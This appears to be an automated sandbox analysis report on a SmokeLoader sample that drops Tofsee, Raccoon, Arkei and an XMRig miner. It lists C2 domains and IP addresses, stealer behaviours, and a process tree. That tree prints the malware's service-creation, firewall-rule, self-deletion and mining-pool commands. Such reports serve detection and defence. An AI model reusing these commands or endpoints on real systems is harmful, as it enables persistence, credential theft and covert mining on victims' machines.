Resubmissions

01/02/2022, 09:10

220201-k4279scee5 10

15/01/2022, 13:42

220115-qztyzsefhn 10

12/01/2022, 12:30

220112-ppk3nacfbl 10

10/01/2022, 10:49

220110-mwsd7sebe3 10

07/01/2022, 20:35

220107-zc2jzsdaeq 10

07/01/2022, 10:05

220107-l4rxzacba8 10

06/01/2022, 22:46

220106-2qch5abff5 10

06/01/2022, 19:07

220106-xsnxqabhfl 10

06/01/2022, 15:26

220106-svedvabda5 10

06/01/2022, 15:25

220106-st3p2sbgcq 10

Analysis

  • max time kernel
    138s
  • max time network
    186s
  • platform
    windows7_x64
  • resource
    win7-ja-20211208
  • submitted
    06/01/2022, 22:46

General

  • Target

    4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe

  • Size

    339KB

  • MD5

    b75726b4b619811b4c50d917822a4083

  • SHA1

    ed8b418d7357609ce03c4f7123c0bb711b9d227d

  • SHA256

    4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf

  • SHA512

    59516fdf6334f4005c7881322eb9a057939804e18ba8f13d0cb48fdc460aab19570c482e87700c6884807e1c885864ed422646f3150d9df731a10ecf5a7e05c9

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Botnet

10da56e7e71e97bdc1f36eb76813bbc3231de7e4

Attributes
  • url4cnc

    http://194.180.174.53/capibar

    http://91.219.236.18/capibar

    http://194.180.174.41/capibar

    http://91.219.236.148/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 3 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe
    "C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe
      "C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:460
  • C:\Users\Admin\AppData\Local\Temp\843D.exe
    C:\Users\Admin\AppData\Local\Temp\843D.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2032
  • C:\Users\Admin\AppData\Local\Temp\98EA.exe
    C:\Users\Admin\AppData\Local\Temp\98EA.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Users\Admin\AppData\Local\Temp\98EA.exe
      C:\Users\Admin\AppData\Local\Temp\98EA.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1520
  • C:\Users\Admin\AppData\Local\Temp\B071.exe
    C:\Users\Admin\AppData\Local\Temp\B071.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B071.exe" & exit
      2⤵
        PID:1072
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:1756
    • C:\Users\Admin\AppData\Local\Temp\BCD1.exe
      C:\Users\Admin\AppData\Local\Temp\BCD1.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lbgdxbsi\
        2⤵
          PID:868
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dfnmccwt.exe" C:\Windows\SysWOW64\lbgdxbsi\
          2⤵
            PID:2040
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create lbgdxbsi binPath= "C:\Windows\SysWOW64\lbgdxbsi\dfnmccwt.exe /d\"C:\Users\Admin\AppData\Local\Temp\BCD1.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:1980
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description lbgdxbsi "wifi internet conection"
              2⤵
                PID:1060
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start lbgdxbsi
                2⤵
                  PID:1976
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1760
                • C:\Users\Admin\AppData\Local\Temp\C875.exe
                  C:\Users\Admin\AppData\Local\Temp\C875.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:964
                  • C:\Users\Admin\AppData\Local\Temp\C875.exe
                    C:\Users\Admin\AppData\Local\Temp\C875.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1212
                • C:\Windows\SysWOW64\lbgdxbsi\dfnmccwt.exe
                  C:\Windows\SysWOW64\lbgdxbsi\dfnmccwt.exe /d"C:\Users\Admin\AppData\Local\Temp\BCD1.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1196
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1736
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:576
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                  • Accesses Microsoft Outlook profiles
                  • outlook_office_path
                  • outlook_win_path
                  PID:1612
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:1096
                  • C:\Windows\system32\taskmgr.exe
                    "C:\Windows\system32\taskmgr.exe" /4
                    1⤵
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:268
                  • C:\Users\Admin\AppData\Local\Temp\3443.exe
                    C:\Users\Admin\AppData\Local\Temp\3443.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Checks processor information in registry
                    PID:1196
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\3443.exe" & exit
                      2⤵
                        PID:1652
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 5
                          3⤵
                          • Delays execution with timeout.exe
                          PID:112
                    • C:\Users\Admin\AppData\Local\Temp\4B1E.exe
                      C:\Users\Admin\AppData\Local\Temp\4B1E.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1612
                    • C:\Users\Admin\AppData\Local\Temp\A708.exe
                      C:\Users\Admin\AppData\Local\Temp\A708.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1504
                    • C:\Users\Admin\AppData\Local\Temp\B75E.exe
                      C:\Users\Admin\AppData\Local\Temp\B75E.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:820

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • memory/268-207-0x0000000002BD0000-0x0000000002BD1000-memory.dmp

                            Filesize

                            4KB

                          • memory/268-145-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

                            Filesize

                            8KB

                          • memory/460-56-0x0000000000400000-0x0000000000409000-memory.dmp

                            Filesize

                            36KB

                          • memory/460-58-0x0000000076C81000-0x0000000076C83000-memory.dmp

                            Filesize

                            8KB

                          • memory/576-131-0x0000000000100000-0x00000000001F1000-memory.dmp

                            Filesize

                            964KB

                          • memory/576-132-0x0000000000100000-0x00000000001F1000-memory.dmp

                            Filesize

                            964KB

                          • memory/820-191-0x0000000000150000-0x0000000000195000-memory.dmp

                            Filesize

                            276KB

                          • memory/820-203-0x0000000076A50000-0x0000000076ADF000-memory.dmp

                            Filesize

                            572KB

                          • memory/820-194-0x0000000000D80000-0x0000000000E10000-memory.dmp

                            Filesize

                            576KB

                          • memory/820-200-0x0000000075DF0000-0x0000000075F4C000-memory.dmp

                            Filesize

                            1.4MB

                          • memory/820-192-0x0000000000D80000-0x0000000000E10000-memory.dmp

                            Filesize

                            576KB

                          • memory/820-198-0x0000000076020000-0x0000000076077000-memory.dmp

                            Filesize

                            348KB

                          • memory/820-196-0x0000000076BD0000-0x0000000076C7C000-memory.dmp

                            Filesize

                            688KB

                          • memory/820-197-0x0000000076840000-0x0000000076887000-memory.dmp

                            Filesize

                            284KB

                          • memory/820-190-0x00000000754B0000-0x00000000754FA000-memory.dmp

                            Filesize

                            296KB

                          • memory/820-206-0x0000000002730000-0x0000000002731000-memory.dmp

                            Filesize

                            4KB

                          • memory/820-193-0x00000000000F0000-0x00000000000F1000-memory.dmp

                            Filesize

                            4KB

                          • memory/820-202-0x0000000000D80000-0x0000000000E10000-memory.dmp

                            Filesize

                            576KB

                          • memory/820-201-0x0000000000D80000-0x0000000000E10000-memory.dmp

                            Filesize

                            576KB

                          • memory/964-97-0x0000000000A40000-0x0000000000ACA000-memory.dmp

                            Filesize

                            552KB

                          • memory/964-98-0x0000000000A40000-0x0000000000ACA000-memory.dmp

                            Filesize

                            552KB

                          • memory/964-103-0x00000000002A0000-0x00000000002A1000-memory.dmp

                            Filesize

                            4KB

                          • memory/964-102-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1096-133-0x0000000000070000-0x0000000000077000-memory.dmp

                            Filesize

                            28KB

                          • memory/1096-135-0x0000000000060000-0x000000000006C000-memory.dmp

                            Filesize

                            48KB

                          • memory/1196-152-0x0000000000D90000-0x0000000000E46000-memory.dmp

                            Filesize

                            728KB

                          • memory/1196-151-0x0000000000D90000-0x0000000000E46000-memory.dmp

                            Filesize

                            728KB

                          • memory/1196-153-0x0000000000190000-0x0000000000191000-memory.dmp

                            Filesize

                            4KB

                          • memory/1196-154-0x0000000076840000-0x0000000076887000-memory.dmp

                            Filesize

                            284KB

                          • memory/1196-155-0x0000000076BD0000-0x0000000076C7C000-memory.dmp

                            Filesize

                            688KB

                          • memory/1196-158-0x0000000000130000-0x0000000000176000-memory.dmp

                            Filesize

                            280KB

                          • memory/1196-108-0x0000000000400000-0x000000000045F000-memory.dmp

                            Filesize

                            380KB

                          • memory/1196-104-0x0000000000518000-0x0000000000529000-memory.dmp

                            Filesize

                            68KB

                          • memory/1212-118-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-117-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-114-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-115-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-116-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-121-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-122-0x0000000000400000-0x0000000000420000-memory.dmp

                            Filesize

                            128KB

                          • memory/1212-123-0x00000000046E0000-0x00000000046E1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1240-68-0x0000000000628000-0x0000000000638000-memory.dmp

                            Filesize

                            64KB

                          • memory/1276-75-0x0000000003D90000-0x0000000003DA6000-memory.dmp

                            Filesize

                            88KB

                          • memory/1276-78-0x0000000004420000-0x0000000004436000-memory.dmp

                            Filesize

                            88KB

                          • memory/1276-59-0x0000000002980000-0x0000000002996000-memory.dmp

                            Filesize

                            88KB

                          • memory/1368-81-0x0000000000400000-0x0000000000462000-memory.dmp

                            Filesize

                            392KB

                          • memory/1368-79-0x0000000000308000-0x0000000000319000-memory.dmp

                            Filesize

                            68KB

                          • memory/1368-80-0x00000000001B0000-0x00000000001CC000-memory.dmp

                            Filesize

                            112KB

                          • memory/1504-180-0x0000000000340000-0x00000000003A0000-memory.dmp

                            Filesize

                            384KB

                          • memory/1612-169-0x0000000000400000-0x0000000000885000-memory.dmp

                            Filesize

                            4.5MB

                          • memory/1612-184-0x0000000002400000-0x0000000002492000-memory.dmp

                            Filesize

                            584KB

                          • memory/1612-170-0x00000000021F0000-0x0000000002285000-memory.dmp

                            Filesize

                            596KB

                          • memory/1612-171-0x0000000000400000-0x0000000000885000-memory.dmp

                            Filesize

                            4.5MB

                          • memory/1612-165-0x0000000000400000-0x0000000000885000-memory.dmp

                            Filesize

                            4.5MB

                          • memory/1612-164-0x0000000000260000-0x00000000002F7000-memory.dmp

                            Filesize

                            604KB

                          • memory/1612-163-0x0000000000D0A000-0x0000000000D7D000-memory.dmp

                            Filesize

                            460KB

                          • memory/1612-168-0x0000000000D7E000-0x0000000000DDB000-memory.dmp

                            Filesize

                            372KB

                          • memory/1612-185-0x0000000000400000-0x0000000000885000-memory.dmp

                            Filesize

                            4.5MB

                          • memory/1612-128-0x0000000000140000-0x00000000001B4000-memory.dmp

                            Filesize

                            464KB

                          • memory/1612-129-0x0000000000080000-0x00000000000EB000-memory.dmp

                            Filesize

                            428KB

                          • memory/1612-127-0x000000006D111000-0x000000006D113000-memory.dmp

                            Filesize

                            8KB

                          • memory/1612-181-0x0000000000400000-0x0000000000885000-memory.dmp

                            Filesize

                            4.5MB

                          • memory/1612-183-0x0000000000330000-0x0000000000380000-memory.dmp

                            Filesize

                            320KB

                          • memory/1704-87-0x0000000000020000-0x0000000000033000-memory.dmp

                            Filesize

                            76KB

                          • memory/1704-84-0x0000000000248000-0x0000000000259000-memory.dmp

                            Filesize

                            68KB

                          • memory/1704-88-0x0000000000400000-0x000000000045F000-memory.dmp

                            Filesize

                            380KB

                          • memory/1736-106-0x0000000000100000-0x0000000000115000-memory.dmp

                            Filesize

                            84KB

                          • memory/1736-107-0x0000000000100000-0x0000000000115000-memory.dmp

                            Filesize

                            84KB

                          • memory/1772-55-0x0000000000020000-0x0000000000029000-memory.dmp

                            Filesize

                            36KB

                          • memory/1772-54-0x0000000000C08000-0x0000000000C19000-memory.dmp

                            Filesize

                            68KB

                          • memory/2032-64-0x0000000000020000-0x0000000000029000-memory.dmp

                            Filesize

                            36KB

                          • memory/2032-65-0x0000000000400000-0x000000000046D000-memory.dmp

                            Filesize

                            436KB

                          • memory/2032-62-0x000000000030A000-0x000000000031A000-memory.dmp

                            Filesize

                            64KB